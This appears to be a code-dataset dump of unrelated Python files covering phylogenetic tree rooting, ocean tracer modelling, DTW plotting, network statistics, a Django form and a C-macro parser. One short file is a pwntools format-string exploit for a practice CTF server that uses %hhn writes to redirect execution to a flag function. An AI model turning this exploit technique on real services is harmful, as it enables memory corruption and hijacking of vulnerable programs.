np.abs(alpha * nu - beta * mu)>0:\n x1 = (-1 * (alpha * delta - mu * gamma) + D2**0.5) / (alpha * nu - beta * mu)\n x2 = (-1 * (alpha * delta - mu * gamma) - D2**0.5) / (alpha * nu - beta * mu)\n else:\n x1 = -(beta*delta - nu*gamma)/(alpha * delta - mu * gamma)\n x2 = x1\n\n # possible positions, where the new root can possibly be located\n # (restrict to the branch length)\n max_points = [k for k in (x1,x2,L) if k >= 0 and k <= L]\n # values of the R2 at these positions\n R2s = [(alpha * x**2 + beta * x + gamma) / (mu * x**2 + nu * x + delta) / time_variance / N**2 for x in max_points]\n # choose the best R2\n node._R2 = np.max(R2s)\n # and set the position for the best R2 value\n node._R2_delta_x = L - max_points[np.argmax(R2s)]\n\n # for this position, define the slope and intercept:\n node._beta = ((L - node._R2_delta_x) * (N * C2 - sum_ti * A2) + (N*C1-sum_ti*A1)) / time_variance / N**2\n node._alpha = (L - node._R2_delta_x) * A2 / N + (A1 - node._beta * sum_ti) / N\n\n if node.up is None:\n self.logger(\"TreeTime.find_best_root_and_regression: Initial root: R2:%f\\tslope:%f\"%(best_root._R2, best_root._beta),3)\n elif (node._R2 > best_root._R2 and node._beta>0) or best_root._beta<0:\n best_root = node\n self.logger(\"TreeTime.find_best_root_and_regression: Better root found: R2:%f\\tslope:%f\\tbranch_displacement:%f\"\n %(best_root._R2, best_root._beta, (best_root._R2_delta_x) / ( best_root.branch_length + self.one_mutation)),4)\n\n self.logger(\"TreeTime.find_best_root_and_regression: Best root: R2:%f\\tslope:%f\\tbranch_displacement:%f\"\n %(best_root._R2, best_root._beta, (best_root._R2_delta_x) / ( best_root.branch_length + self.one_mutation)),3)\n return best_root, best_root._alpha, best_root._beta\n\n def reroot_to_best_root(self,infer_gtr = False, **kwarks):\n '''\n determine the node that, when the tree is rooted on this node, results\n in the best regression of temporal constraints and root to tip distances\n '''\n from Bio import Phylo\n self.logger(\"TreeTime.reroot_to_best_root: searching for the best root position...\",2)\n best_root, a, b = self.find_best_root_and_regression()\n # first, re-root the tree\n\n if hasattr(best_root, \"_R2_delta_x\") and best_root._R2_delta_x > 0 and best_root.up is not None:\n\n # create new node in the branch and root the tree to it\n new_node = Phylo.BaseTree.Clade()\n\n # insert the new node in the middle of the branch\n # by simple re-wiring the links on the both sides of the branch\n # and fix the branch lengths\n new_node.branch_length = best_root.branch_length - best_root._R2_delta_x\n new_node.up = best_root.up\n new_node._alpha = a\n new_node._beta = b\n new_node.clades = [best_root]\n new_node.up.clades = [k if k != best_root else new_node for k in best_root.up.clades]\n\n best_root.branch_length = best_root._R2_delta_x\n best_root.up = new_node\n return new_node\n else:\n # simply use the existing node as the new root\n return best_root\n\nif __name__==\"__main__\":\n import matplotlib.pyplot as plt\n import seaborn as sns\n sns.set_style('whitegrid')\n from Bio import Phylo\n plt.ion()\n base_name = 'data/H3N2_NA_allyears_NA.20'\n import datetime\n from utils import numeric_date\n with open(base_name+'.metadata.csv') as date_file:\n dates = {}\n for line in date_file:\n if line[0]=='#':\n continue\n try:\n name, date = line.strip().split(',')\n dates[name] = float(date)\n except:\n continue\n\n myTree = TreeTime(gtr='Jukes-Cantor', tree = base_name+'.nwk',\n aln = base_name+'.fasta', verbose = 4, dates = dates, debug=True)\n\n # this example uses a fixed clock rate of 0.003\n myTree.run(root='clock_filter', relaxed_clock=False, max_iter=2, plot_rtt=True,\n resolve_polytomies=True, Tc=0.05, n_iqd=2, fixed_slope=0.003, do_marginal=True)\n\n # draw phylogenetic tree in one panel, marginal distributions in the other\n tree_layout(myTree.tree)\n fig, axs = plt.subplots(2,1, sharex=True, figsize=(8,12))\n Phylo.draw(myTree.tree, axes=axs[0], show_confidence=False, label_func = lambda x:'')\n offset = myTree.tree.root.time_before_present + myTree.tree.root.branch_length\n cols = sns.color_palette()\n depth = myTree.tree.depths()\n x = np.linspace(-0.01, .2,1000)\n for ni,node in enumerate(myTree.tree.find_clades(order=\"postorder\")):\n axs[1].plot(offset-x, node.marginal_pos_LH.prob_relative(x), '-', c=cols[ni%len(cols)])\n if node.up is not None:\n # add branch length distributions to tree\n x_branch = np.linspace(depth[node]-2*node.branch_length-0.005,depth[node],100)\n axs[0].plot(x_branch, node.ypos - 0.7*node.branch_length_interpolator.prob_relative(depth[node]-x_branch), '-', c=cols[ni%len(cols)])\n axs[1].set_yscale('log')\n axs[1].set_ylim([0.05,1.2])\n axs[0].set_xlabel('')\n plt.tight_layout()\n\n # make root to tip plot\n myTree.plot_root_to_tip(add_internal=True, s=30)\n\n # plot skyline, i.e. inverse coalescent rate\n plt.figure()\n skyline = myTree.merger_model.skyline(gen = 50/myTree.date2dist.slope,\n to_numdate = myTree.date2dist.to_numdate)\n plt.plot(skyline.x, skyline.y)\n\n","sub_path":"treetime/treetime.py","file_name":"treetime.py","file_ext":"py","file_size_in_byte":32282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"418075516","text":"\"\"\"plato-mini\"\"\"\nimport os\n\n# 非交互模式\nimport paddle\n\nimport paddlehub as hub\n\nif paddle.is_compiled_with_cuda():\n paddle.set_device(\"gpu\")\n use_gpu = True\nelse:\n paddle.set_device(\"cpu\")\n use_gpu = False\n\n\ndef test_plato_mini_predict():\n \"\"\"plato-mini predict\"\"\"\n os.system(\"hub install plato-mini\")\n model = hub.Module(name=\"plato-mini\")\n data = [[\"你是谁?\"], [\"你好啊。\", \"吃饭了吗?\"]]\n result = model.predict(data)\n print(result)\n os.system(\"hub uninstall plato-mini\")\n","sub_path":"models/PaddleHub/hub_all_func/all_module/all_plato-mini.py","file_name":"all_plato-mini.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"552061949","text":"#!/usr/bin/env python\n\nfrom pwn import *\n\nr = remote(\"bamboofox.cs.nctu.edu.tw\",10105)\n\nr.recvuntil(\"at \")\ndata = int(r.recvn(10),16)\n\nget_flag = int(\"0x804861d\",16)\nget_flag = [ ( get_flag >> ( 8 * i ) ) & 0xff for i in xrange(4) ]\n\npayload = \"\"\n\nfor i in xrange(4):\n payload += p32( data + i )\n\noffset = 16\n\nfor i in xrange(4):\n payload += \"%{}c\".format( ( get_flag[i] - offset + 256 ) % 256 )\n payload += \"%{}$hhn\".format( i + 7 )\n offset += ( get_flag[i] - offset + 256 ) % 256\n\nr.send(payload)\n\nr.interactive()\n","sub_path":"bamboofoxOJ/practice-fmt2/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"343300019","text":"import torch\nfrom torch.autograd import Variable\nfrom torch.nn import functional as F\nimport numpy as np\n\nimport image_recognition.aws_recog as aws\n\nclass Simple_nn(torch.nn.Module):\n def __init__(self, dims_in, hidden):\n super(Simple_nn, self).__init__()\n self.linear1 = torch.nn.Linear(dims_in, hidden)\n self.linear2 = torch.nn.Linear(hidden, 2)\n self.output = torch.nn.LogSoftmax()\n\n def forward(self, x):\n hidden_activation = self.linear1(x).clamp(min=0)\n y_pred = self.linear2(hidden_activation)\n return self.output(y_pred)\n\n\ndef run_training(model, x_data, y_data):\n lossfn = torch.nn.NLLLoss()\n optimizer = torch.optim.SGD(model.parameters(), lr=0.001)\n for epoch in range(1000):\n model.train()\n optimizer.zero_grad()\n # Forward pass\n y_pred = model(x_data)\n # Compute Loss\n loss = lossfn(y_pred, y_data)\n # print('Loss:', loss)\n \n # Backward pass\n loss.backward()\n optimizer.step()\n\nif __name__ == '__main__':\n labels = aws.read_labels_from_disk()\n clean = aws.clean_if_dirty(labels)\n\n all_labels = set()\n for key, each in clean.items():\n for lab in each['Labels']:\n if lab['Name'] not in all_labels:\n all_labels.add(lab['Name'])\n \n print(len(all_labels))\n\n\n # allowed has label: index pairs for ex: 'Flood':0, \n # so 'Flood' is the first \n # in the feature vector \n #allowed = dict([ (current_label, index) for index, current_label in enumerate(list(all_labels))])\n more = ['Flood']\n allowed = dict([ (current_label, index) for index, current_label in enumerate(list(more))])\n\n vects = aws.make_feature_vectors(clean, allowed)\n\n matrix_w_pkey = aws.make_matrix_rep(vects, len(list(allowed)))\n labels_w_pkey = aws.make_labels_rep(vects)\n\n matrix = torch.from_numpy(matrix_w_pkey[1:,:].T).float()\n labels = torch.from_numpy(labels_w_pkey[1:,:].T).float()\n # matrix = torch.from_numpy(np.vstack((matrix_w_pkey[1:,:], labels_w_pkey[1:,:])).T).float()\n\n run_training(matrix, labels)\n","sub_path":"simple_nn.py","file_name":"simple_nn.py","file_ext":"py","file_size_in_byte":2118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"248708017","text":"import os\nimport subprocess\nimport psutil\nimport time\nimport wireless\n\ndef get_network_info():\n info = {}\n info[\"interfaces\"] = get_interface_stats()\n info[\"connections\"] = get_connections()\n info[\"wifi\"] = wireless.get_wifi_info()\n\n return info\n\ndef get_interface_stats():\n interfaces = {}\n for inet,stat in psutil.net_io_counters(pernic=True).items():\n interfaces[inet] = {\n 'mb_sent': stat.bytes_sent / (1024.0 * 1024.0),\n 'mb_received': stat.bytes_recv / (1024.0 * 1024.0),\n 'pk_sent': stat.packets_sent,\n 'pk_received': stat.packets_recv,\n 'error_in': stat.errin,\n 'error_out': stat.errout,\n 'dropout': stat.dropout,\n }\n \n return interfaces\n\ndef get_connections():\n connections = {}\n\n for sconn in psutil.net_connections(kind='inet'):\n if sconn.laddr.port == 22 and sconn.status == 'ESTABLISHED':\n connections[\"ssh\"] = {\n \"local_port\": sconn.laddr.port,\n \"remote_ip\": sconn.raddr.ip,\n }\n \n return connections\n\ncount = 0\nqry = ''\ndef counter(interface):\n ul=0.00\n dl=0.00\n t0 = time.time()\n upload = psutil.net_io_counters(pernic=True)[interface].bytes_sent\n download = psutil.net_io_counters(pernic=True)[interface].bytes_recv\n up_down = (upload,download)\n while True:\n last_up_down = up_down\n upload = psutil.net_io_counters(pernic=True)[interface].bytes_sent\n download = psutil.net_io_counters(pernic=True)[interface].bytes_recv\n t1 = time.time()\n up_down = (upload,download)\n try:\n ul, dl = [(now - last) / (t1 - t0) / 1024.0\n for now,last in zip(up_down, last_up_down)]\n t0 = time.time()\n except:\n pass\n if dl > 0.1 or ul >= 0.1:\n time.sleep(0.75)\n os.system('clear')\n yield 'UL: {:0.2f} kB/s \\n'.format(ul) + 'DL: {:0.2f} kB/s '.format(dl)","sub_path":"network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"589120285","text":"# External imports\nfrom thetis_adjoint import *\nfrom fenics_adjoint.solving import SolveBlock # For extracting adjoint solutions\nfrom fenics_adjoint.projection import ProjectBlock # Exclude projections from tape reading\nfrom firedrake.petsc import PETSc\nimport pyadjoint\nfrom copy import copy\n\n# Adaptivity imports\nfrom adapt.adaptivity import *\nfrom adapt.interpolation import interp\nfrom adapt.misc import index_string\n\n# Tracer imports\nfrom tracer.callbacks import TracerCallback\nfrom tracer.options import TracerOptions\n\n\ndef solve_tracer(prev_sol=None, iteration=0, op=TracerOptions()):\n \"\"\"\n Solve tracer transport problem using Thetis.\n \"\"\"\n\n ### SETUP\n\n # N.B. Known quantities (such as bathymetry and source term) should be regenerated from data\n # rather than interpolated, wherever possible\n\n # Mesh and function spaces\n if prev_sol is None:\n mesh = RectangleMesh(30 * op.nx, 5 * op.nx, 60, 10)\n else:\n mesh = prev_sol.function_space().mesh()\n x, y = SpatialCoordinate(mesh)\n P1 = FunctionSpace(mesh, \"CG\", 1)\n P1_vec = VectorFunctionSpace(mesh, \"CG\", 1)\n\n # Initial and source conditions\n u0 = Function(P1_vec).interpolate(as_vector([1., 0.]))\n eta0 = Function(P1)\n b = Function(P1).assign(1.)\n bell = conditional(\n ge((1 + cos(pi * min_value(sqrt(pow(x - op.bell_x0, 2) + pow(y - op.bell_y0, 2)) / op.bell_r0, 1.0))), 0.),\n (1 + cos(pi * min_value(sqrt(pow(x - op.bell_x0, 2) + pow(y - op.bell_y0, 2)) / op.bell_r0, 1.0))),\n 0.)\n source = Function(P1).interpolate(0. + bell)\n\n # Inflow boundary condition\n BCs = {'shallow water': {}, 'tracer': {1: {'value': Constant(0.)}}}\n\n # Artificial 'sponge' boundary condition\n nu = Function(P1).interpolate(op.viscosity + op.sponge_scaling * pow(max_value(0, x - op.sponge_start), 2))\n\n\n ### SOLVER\n solver_obj = solver2d.FlowSolver2d(mesh, b)\n options = solver_obj.options\n options.simulation_export_time = op.dt * op.dt_per_export\n options.simulation_end_time = op.end_time\n options.timestepper_type = op.timestepper\n options.timestep = op.dt\n options.output_directory = op.directory()\n options.fields_to_export = ['tracer_2d']\n options.fields_to_export_hdf5 = ['tracer_2d', 'uv_2d', 'elev_2d']\n options.compute_residuals_tracer = False\n options.solve_tracer = True\n options.tracer_only = True # Hold shallow water variables fixed\n options.horizontal_diffusivity = nu\n options.tracer_source_2d = source\n if prev_sol is None:\n solver_obj.assign_initial_conditions(elev=eta0, uv=u0)\n else:\n # solver_obj.assign_initial_conditions(elev=eta0, uv=u0, tracer=prev_sol)\n solver_obj.load_state(iteration)\n cb1 = TracerCallback(solver_obj, parameters=op)\n solver_obj.add_callback(cb1, 'timestep')\n solver_obj.bnd_functions = BCs\n\n print(\"\\nSolving forward problem...\")\n solver_obj.iterate()\n J = cb1.get_val() # Assemble objective functional for adjoint solver\n\n if op.solve_adjoint:\n print(\"\\nSolving adoint problem...\")\n compute_gradient(J, Control(nu))\n return solver_obj, get_working_tape()\n else:\n return solver_obj\n\n\ndef store_adjoint(solver_obj, tape, op=TracerOptions()):\n \"\"\"\n Solve (discrete) adjoint equations using pyadjoint.\n \"\"\"\n solve_blocks = [block for block in tape._blocks if isinstance(block, SolveBlock) and not isinstance(block, ProjectBlock) and block.adj_sol is not None]\n op.adjoint_steps = len(solve_blocks)\n remainder = op.adjoint_steps % op.dt_per_export # Number of extra tape annotations in setup\n adjoint = Function(solver_obj.function_spaces.Q_2d, name='adjoint_2d')\n for i in range(op.adjoint_steps - 1, remainder - 2, -op.dt_per_export): # FIXME: Why -2?\n adjoint.assign(solve_blocks[i].adj_sol)\n idx = int((i+1) / op.dt_per_export) - remainder\n index_str = index_string(idx) # TODO: Should this loop go the other way?\n with DumbCheckpoint(op.directory() + 'hdf5/Adjoint2d_' + index_str, mode=FILE_CREATE) as sa:\n sa.store(adjoint)\n sa.close()\n time = (i+1)*op.dt\n op.adjoint_outfile.write(adjoint, time=time)\n line = ('{iexp:5d} {it:5d} T={t:10.2f} tracer norm: {q:10.4f}')\n print_output(line.format(iexp=idx, it=i+1, t=time, q=norm(adjoint)))\n tape.clear_tape()\n\n\ndef solve_and_estimate_error(prev_sol=None, counter=0, iteration=0, op=TracerOptions()):\n \"\"\"\n Solve tracer transport problem using Thetis and estimate error using data stored to HDF5.\n \"\"\"\n\n ### SETUP\n\n # N.B. Known quantities (such as bathymetry and source term) should be regenerated from data\n # rather than interpolated, wherever possible\n\n # Mesh and function spaces\n if prev_sol is None:\n mesh = RectangleMesh(30 * op.nx, 5 * op.nx, 60, 10)\n else:\n mesh = prev_sol.function_space().mesh()\n x, y = SpatialCoordinate(mesh)\n P0 = FunctionSpace(mesh, \"DG\", 0)\n P1 = FunctionSpace(mesh, \"CG\", 1)\n P1DG = FunctionSpace(mesh, \"DG\", 1)\n P1_vec = VectorFunctionSpace(mesh, \"CG\", 1)\n\n # Initial and source conditions\n u0 = Function(P1_vec).interpolate(as_vector([1., 0.]))\n eta0 = Function(P1)\n b = Function(P1).assign(1.)\n bell = conditional(\n ge((1 + cos(pi * min_value(sqrt(pow(x - op.bell_x0, 2) + pow(y - op.bell_y0, 2)) / op.bell_r0, 1.0))), 0.),\n (1 + cos(pi * min_value(sqrt(pow(x - op.bell_x0, 2) + pow(y - op.bell_y0, 2)) / op.bell_r0, 1.0))),\n 0.)\n source = Function(P1).interpolate(0. + bell)\n\n # Inflow boundary condition\n BCs = {'shallow water': {}, 'tracer': {1: {'value': Constant(0.)}}}\n\n # Artificial 'sponge' boundary condition\n nu = Function(P1).interpolate(op.viscosity + op.sponge_scaling * pow(max_value(0, x - op.sponge_start), 2))\n\n\n ### SOLVER\n solver_obj = solver2d.FlowSolver2d(mesh, b)\n options = solver_obj.options\n options.simulation_export_time = op.dt * op.dt_per_export\n options.simulation_end_time = op.end_time\n options.timestepper_type = op.timestepper\n options.timestep = op.dt\n options.output_directory = op.directory()\n options.fields_to_export = ['tracer_2d']\n options.fields_to_export_hdf5 = ['tracer_2d', 'uv_2d', 'elev_2d']\n options.compute_residuals_tracer = op.approach == 'DWR'\n options.solve_tracer = True\n options.tracer_only = True # Hold shallow water variables fixed\n options.horizontal_diffusivity = nu\n options.tracer_source_2d = source\n solver_obj.assign_initial_conditions(elev=eta0, uv=u0, tracer=prev_sol)\n solver_obj.i_export = iteration\n solver_obj.next_export_t = iteration * options.simulation_export_time\n solver_obj.iteration = its * op.dt_per_export\n solver_obj.simulation_time = solver_obj.iteration * op.dt\n for e in solver_obj.exporters.values():\n e.set_next_export_ix(solver_obj.i_export)\n solver_obj.bnd_functions = BCs\n\n print(\"\\nSolving forward problem and estimating errors...\")\n solver_obj.iterate()\n\n adjoint = Function(P1DG, name='adjoint_2d')\n index_str = index_string(counter)\n with DumbCheckpoint(op.directory() + 'hdf5/Adjoint2d_' + index_str, mode=FILE_READ) as la:\n la.load(adjoint)\n la.close()\n\n if op.approach == 'DWR':\n # TODO: Use z-z_h form\n tracer_ts = solver_obj.timestepper.timesteppers['tracer']\n cell_res = tracer_ts.cell_residual(adjoint)\n print(\"Cell residual: {:.4e}\".format(norm(cell_res)))\n edge_res = tracer_ts.edge_residual(adjoint)\n print(\"Edge residual: {:.4e}\".format(norm(edge_res)))\n\n # i = TestFunction(P0)\n # h = CellSize(mesh)\n # epsilon = project(sqrt(assemble(i * (h * h * cell_res * cell_res + h * edge_res * edge_res) * dx)), P0)\n\n # Adaptive strategies, as in [Rognes & Logg, 2010]\n if op.dwr_approach == 'error_representation':\n epsilon.project(cell_res + edge_res, P1)\n elif op.dwr_approach == 'dwr':\n epsilon.project(cell_res + jump(edge_res), P1)\n elif op.dwr_approach == 'cell_facet_split':\n epsilon.project(cell_res + abs(jump(edge_res)), P1)\n else:\n raise ValueError(\"DWR approach {:s} not recognised.\".format(op.dwr_approach))\n\n elif op.approach == 'DWP':\n epsilon = project(solver_obj.fields.tracer_2d * adjoint, P1)\n epsilon = normalise_indicator(epsilon, op=op)\n epsilon.rename('error_estimate_2d')\n op.estimator_outfile.write(epsilon, time=solver_obj.simulation_time)\n\n return solver_obj\n\n\nif __name__ == \"__main__\":\n import argparse\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-approach\", help=\"Choose adaptive approach from {'HessianBased', 'DWP', 'DWR'} (default 'FixedMesh')\")\n parser.add_argument(\"-dwr_approach\", help=\"DWR error estimation approach\")\n args = parser.parse_args()\n\n op = TracerOptions(approach='FixedMesh' if args.approach is None else args.approach)\n # op.end_time = 5. - 0.5*op.dt\n\n if args.dwr_approach is not None:\n op.dwr_approach = args.dwr_approach\n\n # DWP and DWR estimators both use this workflow\n if op.solve_adjoint:\n solver_obj, tape = solve_tracer(op=op)\n store_adjoint(solver_obj, tape, op=op)\n with pyadjoint.stop_annotating():\n restart_time = op.dt * op.dt_per_export\n T_end = copy(op.end_time)\n t = 0.\n its = 0\n cnt = int(op.end_time/(op.dt*op.dt_per_export))\n op.end_time = copy(restart_time)\n sol = None\n while t < T_end:\n solver_obj = solve_and_estimate_error(prev_sol=sol, counter=cnt, iteration=its, op=op)\n sol = solver_obj.fields.tracer_2d\n its = solver_obj.i_export\n cnt -= 1\n op.end_time += restart_time\n t = solver_obj.simulation_time\n # FIXME: Why does restarted step have a different norm? - times not in sync?\n # TODO: Adapt mesh using mesh_adapt driver\n elif op.approach == 'HessianBased':\n restart_time = op.dt * op.dt_per_export\n T_end = copy(op.end_time)\n t = 0.\n op.end_time = copy(restart_time)\n sol = None\n while t < T_end:\n solver_obj = solve_tracer(prev_sol=sol, op=op)\n sol = solver_obj.fields.tracer_2d\n # TODO: Compute Hessian\n t += restart_time\n else:\n solver_obj = solve_tracer(op=op)\n","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":10520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"55270809","text":"\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom s_knn_dtw import KnnDtw\nimport time as tm\n\nplt.style.use('bmh')\n\nimport os, sys\ncurrentdir = os.path.dirname(os.path.realpath(__file__))\nparentdir = os.path.dirname(currentdir)\nsys.path.append(parentdir)\nimport s_data_loader as data_loader\n# dt = data_loader.load_feature()\n# dt = data_loader.load_feature_time()\ndt = data_loader.load_feature_freq()\n\n# Mapping table for classes\nlabels = dt.labels\nx_train = dt.x_train\ny_train = dt.y_train\nx_test = dt.x_test\ny_test = dt.y_test\n\nfa = 0\nfb = 1\namplitude_a = x_train[fa]\namplitude_b = x_train[fb]\ntime = np.linspace(0,1,len(amplitude_a))\n#amplitude_a = 5*np.sin(time)\n#amplitude_b = 3*np.sin(time + 1)\n\nmww = [20, 19, 18, 17, 16, 15, 14, 13, 12,11, 10, 9, 8, 7, 6, 5, 4, 3 ,2, 1]\ndistances = []\ntime_taken = []\nfor i, num in enumerate(mww):\n begin = tm.time()\n distance = KnnDtw(max_warping_window=num)._dtw_distance(amplitude_a, amplitude_b)\n end = tm.time()\n time_taken.append(end - begin) \n print(\"cal distance {} {} : {} {}\".format(i, num, distance, end-begin)) \n distances.append(distance) \n\nprint(\"distances {}\".format(str(distances)))\nprint(\"time {}\".format(str(time_taken)))\n\ntitle = \"DTW distance between A and B ({}pt) is {:.2f} \".format(len(amplitude_a), distances[0])\nfig = plt.figure(figsize=(12,8))\nplt.subplot(3,1,1)\n_ = plt.plot(time, amplitude_a, label=labels[y_test[fa]]+str(fa))\n_ = plt.plot(time, amplitude_b, label=labels[y_test[fb]]+str(fb))\n#_ = plt.plot(mww, distances, label=\"distace\")\n#_ = plt.plot(mww, time_taken, label=\"time\")\n_ = plt.title(title)\n_ = plt.ylabel('Amplitude')\n_ = plt.xlabel('Time')\n_ = plt.legend()\n\nplt.subplot(3,1,2)\n#_ = plt.plot(time, amplitude_a, label='A')\n# _ = plt.plot(time, amplitude_b, label='B')\n_ = plt.plot(mww, distances, label=\"distace\")\n#_ = plt.plot(mww, time_taken, label=\"time\")\n#_ = plt.title(title)\n_ = plt.ylabel('distance')\n_ = plt.xlabel('mww')\n_ = plt.legend()\n\nplt.subplot(3,1,3)\n#_ = plt.plot(time, amplitude_a, label='A')\n# _ = plt.plot(time, amplitude_b, label='B')\n#_ = plt.plot(mww, distances, label=\"distace\")\n_ = plt.plot(mww, time_taken, label=\"time\")\n#_ = plt.title(title)\n_ = plt.ylabel('time')\n_ = plt.xlabel('mww')\n_ = plt.legend()\n\n\nplt.show()","sub_path":"knn_dtw/cost_dtw_freq.py","file_name":"cost_dtw_freq.py","file_ext":"py","file_size_in_byte":2258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"604780545","text":"from django import forms\nfrom apps.geolocalizacion.models import Provincias\n\n\"\"\"\nConstantes\n\"\"\"\n\nclass ProvinciasForm(forms.ModelForm):\n class Meta:\n model = Provincias\n fields = (\n 'departamentos',\n 'nombreprovincias',\n 'siglaprovincias')\n labels = {\n 'departamentos': 'Ingrese el Departamento',\n 'nombreprovincias': 'Ingrese Nombre de Provincia',\n 'siglaprovincias': 'Ingrese Sigla Provincia'}\n widgets = {}\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n for field in iter(self.fields):\n self.fields[field].widget.attrs.update({\n 'class': 'form-control'\n })\n","sub_path":"apps/geolocalizacion/forms/forms_provincias.py","file_name":"forms_provincias.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"84509851","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\n# [x] [parser]发生错误直接忽略并继续到下一行,目前从下一行开始解析语句\n# 这个还是有点bug,发生异常时最后会有index out of range异常,比较难调试\n# [x] 添加相应开关,便于开发调试,因为你catch了导致parser内部call-stack没了\n# [x] [lexer]lexer返回的token先添加lexeme字符串帮助调试和测试\n# [x] [lexer]将lexer改为返回lexeme\n# TODO parser解析lexeme得到value\n# [x] [lexer]注释和空白被skip导致无法测试,现在不跳过,而且添加相应开关\n# [x] [lexer]空白的skip走ws+,而不是通过外部循环读完\n# [x] [lexer]lexeme用一对指针标识,比如antlr,你可能很多lexeme是抛弃的,你全部slice出str就导致性能问题\nimport sys\nfrom collections import namedtuple\n\n\n# noinspection PyPep8Naming,PyShadowingNames\nclass PyMacroParser:\n def __init__(self):\n self.proto = None\n self.predefined_names = []\n\n def load(self, f):\n text = readall(f)\n self.proto = Prototype(parse(text))\n\n def dump(self, filename):\n writeall(filename, dump(self.dumpDict()))\n\n def dumpDict(self):\n return execute(self.proto, self.predefined_names)\n\n def preDefine(self, s):\n if s == '':\n return\n names = [i for i in s.split(';') if i != '' and i.strip() != '']\n # 题目要求,每次调用自动清理掉之前的预定义宏序列\n self.predefined_names = names\n\n\n# region common util\n\n\ndef readall(path):\n with open(path, 'r') as f:\n return f.read()\n\n\ndef writeall(path, text):\n with open(path, 'w') as f:\n f.write(text)\n\n\n# python2没有enum\n\nOPTION_ENUM_USE_STRING = True\n_ENUM_ID = -1\n_ENUM_NAMES = set()\n\n\n# [x] auto支持使用string,添加开关,关闭时只比较enum-id\n# 替换自动生成代码:Sublime里正则替换(.*) = auto\\(\\)为\\1 = auto\\('\\1'\\)\ndef auto(name=''):\n global _ENUM_ID\n _ENUM_ID += 1\n # name默认是空串,那么这个枚举仍然用数字,这个是没有影响的\n if OPTION_ENUM_USE_STRING and name:\n assert name not in _ENUM_NAMES\n _ENUM_NAMES.add(name)\n return name\n return _ENUM_ID\n\n\ndef text_pointer(index):\n return ' ' * index + '^'\n\n\n# endregion\n\n# region lexer\n\n\n# noinspection PyClassHasNoInit\nclass TokenKind:\n Eof = auto('Eof')\n Newline = auto('Newline')\n Identifier = auto('Identifier')\n Int = auto('Int')\n Float = auto('Float')\n Char = auto('Char')\n String = auto('String')\n WideString = auto('WideString')\n Sep_Pound = auto('Sep_Pound') # '#'\n Sep_LCurly = auto('Sep_LCurly') # {\n Sep_RCurly = auto('Sep_RCurly') # }\n Sep_Comma = auto('Sep_Comma') # ,\n Kw_IfDef = auto('Kw_IfDef') # ifdef\n Kw_IfNDef = auto('Kw_IfNDef') # ifndef\n Kw_Define = auto('Kw_Define') # define\n Kw_UnDef = auto('Kw_UnDef') # undef\n Kw_Else = auto('Kw_Else') # else\n Kw_EndIf = auto('Kw_EndIf') # endif\n Kw_True = auto('Kw_True') # true\n Kw_False = auto('Kw_False') # false\n Error = auto('Error') # 代表一个错误,会使parser抛出异常\n Skip_LineComment = auto('Skip_LineComment')\n Skip_BlockComment = auto('Skip_BlockComment')\n Skip_Whitespaces = auto('Skip_Whitespaces')\n\n\nPUNCTUATORS = {\n '#': TokenKind.Sep_Pound,\n '{': TokenKind.Sep_LCurly,\n '}': TokenKind.Sep_RCurly,\n ',': TokenKind.Sep_Comma\n}\n\nKEYWORDS = {\n 'ifdef': TokenKind.Kw_IfDef,\n 'ifndef': TokenKind.Kw_IfNDef,\n 'define': TokenKind.Kw_Define,\n 'undef': TokenKind.Kw_UnDef,\n 'else': TokenKind.Kw_Else,\n 'endif': TokenKind.Kw_EndIf,\n 'true': TokenKind.Kw_True,\n 'false': TokenKind.Kw_False\n}\n\n\n# noinspection PyClassHasNoInit\nclass NumberType:\n Decimal = auto()\n Octal = auto()\n Hexadecimal = auto()\n Float = auto()\n\n\nclass LexerException(Exception):\n pass\n\n\nWHITESPACE_CHARSET = set(' \\t\\v\\f')\nSKIP_FIRST_CHARSET = set('/') | WHITESPACE_CHARSET # 注释和空白符的first-set\n\n\n# str确实有一些帮助判断的函数,但是建议自己写\ndef is_whitespace(c):\n return c in WHITESPACE_CHARSET\n\n\ndef is_digit(c):\n return '0' <= c <= '9'\n\n\ndef is_letter(c):\n return 'a' <= c <= 'z' or 'A' <= c <= 'Z'\n\n\ndef is_newline(c):\n return c == '\\n' or c == '\\r'\n\n\ndef is_identifier_char(c):\n return c == '_' or is_digit(c) or is_letter(c)\n\n\ndef is_hex_digit(c):\n return '0' <= c <= '9' or 'A' <= c <= \"F\" or 'a' <= c <= 'f'\n\n\ndef is_octal_digit(c):\n return '0' <= c <= '7'\n\n\nToken = namedtuple('Token', ['pos', 'kind', 'value', 'lexeme', 'chunk'])\n\n\ndef get_text(token):\n assert Lexer.OPTION_LEXEME_USE_SLICE\n a, b = token.lexeme\n return token.chunk[a:b]\n\n\n# [x] 添加flush以支持错误处理时清刷到下一行重新开始\n# 包装Lexer为一个带前瞻的流对象\n#\n# 词法分析认为是复杂计算,因此前瞻时缓存结果\n# 内部维护一个List包含所有已经计算的Token值,不删除旧的值,所有Token都会一直在内存\n# NextToken对应于流的指针,而LookAhead(n)的n是相对于流指针的偏移\n# LookAhead有单个元素和数组两个版本,因为我暂时不知道parser是否要用哪种,干脆都写\n# NextToken和LookAhead在未计算所需Token时计算并缓存Token,从缓存中取出Token\nclass TokenStream:\n\n def __init__(self, lexer):\n self.buffer = []\n # NOTE 注意指针初始值为-1,总是指向第一个可用的token前一格\n # 